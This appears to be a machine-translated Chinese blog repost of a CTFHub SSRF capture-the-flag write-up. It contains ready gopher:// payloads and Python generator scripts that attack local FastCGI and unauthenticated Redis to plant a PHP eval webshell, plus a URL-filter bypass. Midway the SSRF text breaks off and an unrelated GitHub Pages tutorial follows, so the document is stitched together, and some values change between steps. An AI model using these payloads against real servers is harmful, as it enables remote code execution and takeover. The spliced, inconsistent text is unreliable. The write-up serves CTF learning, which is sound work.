通用方法:浅析SSRF的各种利用方式
优采云 发布时间: 2022-09-22 18:24通用方法:浅析SSRF的各种利用方式
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认*敏*感*词*9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
免费提供:利用 GitHub 快速搭建一个免费个人网站 | 2022(无需编程)
首先,让我展示一下成品:我的个人 网站。
使用 GitHub Pages 服务的好处是:
唯一的限制是你只能构建静态的网站——即只有信息呈现,没有用户交互。但是对于个人网站来说,静态网站就绰绰有余了。
学习成本:
个人网站是建立个人品牌的重要手段。无论是求职还是提升行业影响力,个人网站都是加分项。
如今,建立个人网站 非常容易,但拥有个人网站 的人仍然很少——将其添加到您的简历中会有所不同。
还等什么,开始吧!
1.注册一个 GitHub 帐户(如果有,请跳过)
GitHub是微软旗下全球最大的开源社区和代码托管平台,是程序员最常用的网站程序之一。
访问,点击右上角“注册”:
来个炫酷的注册界面(背景星空会动)!
按照提示,输入邮箱地址,设置密码,设置ID(支持字母数字,“-”符号)。
应谨慎选择此 ID,因为它将出现在个人 网站 的域名中。作为演示,我这里使用了“test-user-2022”,那么最终的个人网站地址就是test-user-2022.github.io:
然后会有一个用户验证(从一堆图像中选择一个指定的),验证码将在完成后发送到您的电子邮件。输入验证码,账号就创建好了。
默认情况下,您将进入以下页面并询问您一些问题。如果不想回答,直接点击底部跳过
2.创建指定仓库
点击右上角的用户头像,在下拉框中选择“Your repositories”。
如果是新注册的账号,列表为空。点击“新建”按钮:
在下一页,在“Repository name”下输入“[your ID].github.io”作为存储库名称。
比如我这里的ID是test-user-2022,那么就输入test-user-2022.github.io。
然后点击底部的“创建仓库”:
3.选择一个主题
上一步的仓库创建成功后,会自动跳转到新创建的仓库。
你可以看到一堆操作指南,忽略它。点击“设置”:
在仓库设置页面,点击左侧导航栏中的“页面”:
点击“选择主题”为您的个人选择一个主题网站:
GitHub Pages 提供 12 个可选主题。选择后,点击“选择主题”:
(如果您在开头点击我的*敏*感*词*网站,您会发现我使用的是默认的 Cayman 主题。)
4. 发布和查看网站
选择主题后,会来到以下页面。
GitHub默认会生成一些文本,点击“预览”查看效果:
这里使用的是一种称为“Markdown”的语法。学习门槛不高,程序员一般都非常熟悉。
你可以不用管它,点击页面底部的“提交更改”按钮,先发布网站!无论如何,您可以随时返回并更改它:
确认发布后,会跳转到仓库中刚刚生成的“index.md”文件:
您现在可以访问您的个人网站!还是在仓库的“设置”-“页面”页面,可以看到网站已经发布了(发布网站大概需要一两分钟):
URL 格式为“[your ID].github.io”,与仓库名称相同。
访问效果:
5. 编辑 网站内容
当然,此时显示的是GitHub默认生成的文本,需要自己替换成自己的内容。
如何编辑?只需使用 GitHub 提供的网页编辑器即可。
在刚才的“index.md”文件页面,点击编辑图标:
然后在编辑器中使用markdown语法修改内容。
markdown 语法并不难。以下是一些最常见的语法:
另外,如果需要使用图片,可以直接将图片拖放到编辑器中。
修改后点击“预览”进行预览。
如果没有问题,点击页面底部的“Commit changes”,一两分钟就可以看到更新的人了网站哦~
上面的“test-user-2022”是我临时创建的用于演示的用户。我个人的 网站 实际存储库是 /chen-ni/chen-ni.github.io 供您参考。
我只是做了一个非常简单的一页个人网站,因为它已经足够了。如果需要,您还可以使其更复杂,而不是使用现成的主题 - 但这超出了本文的范围。
更多程序员实用工具,欢迎关注@Nichen~